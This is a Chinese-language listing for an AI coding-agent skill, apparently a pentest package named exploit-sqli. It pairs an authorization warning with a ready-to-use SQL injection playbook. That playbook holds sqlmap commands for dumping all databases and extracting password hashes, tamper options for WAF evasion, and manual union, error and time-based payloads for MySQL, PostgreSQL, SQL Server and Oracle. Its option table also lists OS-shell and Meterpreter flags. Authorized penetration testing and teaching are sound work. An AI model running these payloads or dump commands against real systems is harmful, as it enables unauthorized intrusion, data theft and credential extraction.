mcpField
E
exploit-sqli

exploit-sqli

github.com/crazymarky安全34979 次安装21 周前更新
代码仓库

关于 exploit-sqli

用于记录 SQL 注入检查方法的安全测试技能,涵盖 sqlmap 和手动技术。面向获授权的测试,提供检测、数据库枚举及保存发现结果的流程。

主要功能

  1. 01使用 sqlmap 自动测试
  2. 02适用于多种 DBMS 的手动注入技术
  3. 03检查 URL、POST、Cookie 和请求头输入
  4. 04数据库与用户枚举流程
  5. 05用于生成载荷和分析响应的脚本

适用场景

  1. 01评估获授权测试范围内的 Web 应用
  2. 02检查 URL 和 POST 参数是否存在注入
  3. 03确认漏洞后调查数据库信息
  4. 04保存 SQL 注入发现以供后续报告

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/crazymarky/pentest-skills --skill exploit-sqli

安装后在 Claude Code 中输入/exploit-sqli确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

assets/
common_error_payloads.txt
dbms_fingerprints.txt
time_based_payloads.txt
references/
manual_sqli_techniques.md
nosql_injection.md
sqlmap_guide.md
scripts/
boolean_sqli_tester.py
response_analyzer.py
sqli_payload_generator.py
sqli_storage.py

详细介绍

SQL 注入检测与利用

授权警告

危险: SQL 注入测试可能损坏或破坏生产数据库中的数据。务必确保你已获得:

  • 目标应用所有者的书面许可
  • 隔离的测试环境
  • 受影响系统的备份
  • 符合当地法规

未经授权,切勿在生产数据库上测试 SQL 注入。

前提条件

系统上必须安装以下工具:

  • sqlmap - pip install sqlmap 或 git clone https://github.com/sqlmapproject/sqlmap

可选工具:

  • BBQSQL - 半自动化 SQL 注入工具
  • NoSQLMap - NoSQL 注入测试

快速入门

SQL 注入测试中最常用的命令:

自动化 SQLMap 扫描
sqlmap -u "https://target.com/page?id=1"
POST 请求测试
sqlmap -u "https://target.com/login" --data="username=admin&password=test"
Cookie 测试
sqlmap -u "https://target.com" --cookie="sessionid=abc123"

常见场景

场景 1:基本参数测试

需要测试 URL 参数是否存在 SQL 注入时:

sqlmap -u "https://target.com/page?id=1"

参数:

  • -u - 目标 URL
  • -p - 要测试的特定参数(默认:全部)
  • --batch - 避免交互式提示
  • --random-agent - 使用随机 User-Agent

示例:

sqlmap -u "https://target.com/vuln.php?id=1" --batch --random-agent

场景 2:POST 请求注入

需要测试 POST 请求正文参数时:

sqlmap -u "https://target.com/login" --data="username=admin&password=test"

从文件读取:

sqlmap -u "https://target.com/login" -d post_data.txt

场景 3:Cookie/标头注入

需要测试 Cookie 或标头时:

# Cookie injection
sqlmap -u "https://target.com" --cookie="sessionid=abc123"

# User-Agent injection
sqlmap -u "https://target.com" --headers="User-Agent: sqlmap"

# Referer injection
sqlmap -u "https://target.com" --referer="https://evil.com"

多个标头:

sqlmap -u "https://target.com" -H "Cookie:id=1" -H "User-Agent: test"

场景 4:指定 DBMS 测试

已知或怀疑数据库类型时:

sqlmap -u "https://target.com/page?id=1" --dbms=mysql
sqlmap -u "https://target.com/page?id=1" --dbms=postgresql
sqlmap -u "https://target.com/page?id=1" --dbms=sqlserver
sqlmap -u "https://target.com/page?id=1" --dbms=oracle

场景 5:数据库枚举

需要提取数据库信息时:

# List databases
sqlmap -u "https://target.com/page?id=1" --dbs

# List tables
sqlmap -u "https://target.com/page?id=1" -D dbname --tables

# Dump table
sqlmap -u "https://target.com/page?id=1" -D dbname -T users --dump

# Dump all
sqlmap -u "https://target.com/page?id=1" --dump-all

场景 6:用户枚举

需要提取用户凭据时:

# Enumerate database users
sqlmap -u "https://target.com/page?id=1" --users

# Extract password hashes
sqlmap -u "https://target.com/page?id=1" --passwords

# Dump users table
sqlmap -u "https://target.com/page?id=1" -D dbname -T users -C username,password --dump

场景 7:基于 Union 的 SQL 注入

手动测试基于 Union 的 SQLi:

# Test for SQL injection with payload
https://target.com/page?id=1' OR '1'='1
https://target.com/page?id=1' UNION SELECT 1,2,3--
https://target.com/page?id=1' UNION SELECT NULL,version(),NULL--

确定列数:

id=1' ORDER BY 1--
id=1' ORDER BY 2--
id=1' ORDER BY 3--

检查字符串与整数类型:

id=1' UNION SELECT 1,'2',3--
id=1' UNION SELECT 1,NULL,NULL--

场景 8:基于错误的 SQL 注入

显示错误消息时:

# MySQL error injection
id=1' AND extractvalue(1, concat(0x7e, database(), 0x7e))--
id=1' AND updatexml(1, concat(0x7e, database(), 0x7e), 1)--
id=1' AND exp(~(SELECT * FROM (SELECT database())a))--

# PostgreSQL error injection
id=1' AND cast(version() as int)--
id=1'; CAST(version() AS INT)--

场景 9:盲 SQL 注入

未返回错误消息时:

基于布尔值:

id=1' AND 1=1--
id=1' AND 1=2--

基于时间(MySQL):

id=1' AND SLEEP(5)--
id=1' AND BENCHMARK(5000000, MD5(1))--

基于时间(PostgreSQL):

id=1'; SELECT pg_sleep(5)--
id=1'; SELECT extract(epoch from now())-

场景 10:绕过 WAF

WAF 阻止注入尝试时:

# Use tamper scripts
sqlmap -u "https://target.com/page?id=1" --tamper=space2comments

# Use random agent
sqlmap -u "https://target.com/page?id=1" --random-agent

# Different level
sqlmap -u "https://target.com/page?id=1" --level=1 --risk=1

# Specific technique
sqlmap -u "https://target.com/page?id=1" --technique=U

注入测试工作流

1. 初步检测
# Automated scan
sqlmap -u "https://target.com/page?id=1" --batch

# Manual quick test
curl "https://target.com/page?id=1'" | grep -i "sql\|mysql\|syntax"
curl "https://target.com/page?id=1\" OR \"1\"=\"2" | grep -i "error"
2. 确认
# Confirm with multiple payloads
curl "https://target.com/page?id=1 AND 1=1"
curl "https://target.com/page?id=1 AND 1=2"
curl "https://target.com/page?id=1' OR '1'='1"
3. 识别数据库类型
sqlmap -u "https://target.com/page?id=1" --current-user
4. 枚举
# Get database info
sqlmap -u "https://target.com/page?id=1" --hostname --current-db --is-dba

# List databases
sqlmap -u "https://target.com/page?id=1" --dbs

SQLMap 选项参考

选项说明
-u目标 URL
-r解析日志文件
-l从文件加载
-m扫描多个目标
-p测试特定参数
--skip跳过参数
--dbms强制指定 DBMS
--os强制指定 OS
--tamper篡改脚本
--level测试级别(1-5)
--risk风险级别(1-3)
--technique指定技术(B/E/U/S/T)
--batch非交互模式
--random-agent随机 User-Agent
--proxy使用代理
--delay请求间隔
--timeout请求超时时间
--retries重试次数
--string匹配字符串
--not-string不匹配字符串
--regexp正则表达式筛选
--grep页面正则表达式筛选
--crawl爬取网站
--forms解析表单
--cookieCookie 值
--headers额外标头
--user-agent自定义 User-Agent
--method强制指定方法
--dataPOST 数据
-d从文件读取 POST 数据
--dbs枚举数据库
--tables枚举表
--columns枚举列
--schema枚举架构
--dump导出数据
--dump-all导出全部数据
--search搜索
--users枚举数据库用户
--passwords枚举密码哈希
--priv-esc权限提升
--os-shellOS Shell
--os-pwnMeterpreter/OBM Shell
--sql-shellSQL Shell
--wizard向导模式
-v详细程度(0-6)

手动载荷

MySQL 载荷
-- Version detection
' UNION SELECT @@version--

-- Current user
' UNION SELECT user()--

-- Current database
' UNION SELECT database()--

-- All databases
' UNION SELECT schema_name FROM information_schema.schemata--

-- Tables from database
' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database()--

-- Columns from table
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--

-- Concatenate data
' UNION SELECT CONCAT(username,0x3a,password) FROM users--
PostgreSQL 载荷
-- Version
' UNION SELECT version()--

-- Current user
' UNION SELECT user--

-- Current database
' UNION SELECT current_database()--

-- All databases
' UNION SELECT datname FROM pg_database--

-- Tables
' UNION SELECT tablename FROM pg_tables WHERE schemaname='public'--

-- Columns
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--
SQL Server 载荷
-- Version
' UNION SELECT @@version--

-- Database
' UNION SELECT DB_NAME()--

-- Tables
' UNION SELECT table_name FROM information_schema.tables--

-- Columns
' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'--

-- Databases
' UNION SELECT name FROM master..sysdatabases--
Oracle 载荷
-- Version
' UNION SELECT banner FROM v$version--

-- Tables
' UNION SELECT table_name FROM all_tables WHERE owner=USER--

-- Columns
' UNION SELECT column_name FROM all_tab_columns WHERE table_name='USERS'--

测试清单

  • URL 参数
  • POST 参数
  • Cookie
  • User-Agent
  • Referer
  • X-Forwarded-For
  • Accept 标头
  • JSON 请求体字段
  • GraphQL 查询
  • API 端点

场景:将 SQL 注入发现持久化存储

需要将 SQL 注入发现持久化到数据库时:

# Manual entry after discovering SQL injection
python .claude/skills/exploit-sqli/scripts/sqli_storage.py \
  --host-ip 192.168.1.100 \
  --url "https://example.com/login?id=1" \
  --parameter id \
  --payload "1' OR '1'='1" \
  --severity Critical \
  --cvss-score 9.8 \
  --db-type MySQL \
  --subsystem "Web Application"

参数:

  • --host-ip - 目标主机 IP(必填)
  • --url - 存在漏洞的 URL(必填)
  • --parameter - 存在漏洞的参数名称(必填)
  • --payload - 使用的载荷(必填)
  • --severity - 严重性级别(默认:High)
  • --cvss-score - CVSS 评分(0.0-10.0)
  • --db-type - 数据库类型(例如 MySQL、PostgreSQL)
  • --subsystem - 子系统名称(可选)
  • --title - 漏洞标题(未指定时自动生成)
  • --description - 漏洞描述

数据库位置: ./data/results.db

相关技能: results-storage - 查询数据、生成报告


资源

脚本
  • scripts/sqli_payload_generator.py - 生成 SQL 注入载荷
  • scripts/boolean_sqli_tester.py - 测试盲 SQL 注入
  • scripts/response_analyzer.py - 分析响应中的注入线索
参考资料
  • references/sqlmap_guide.md - SQLMap 综合参考指南
  • references/manual_sqli_techniques.md - 手动注入技术
  • references/nosql_injection.md - NoSQL 注入指南
资源文件
  • assets/common_error_payloads.txt - 常见错误型载荷
  • assets/time-based_payloads.txt - 基于时间的盲注载荷
  • assets/dbms_fingerprints.txt - 数据库指纹识别模式

评论

支持 Markdown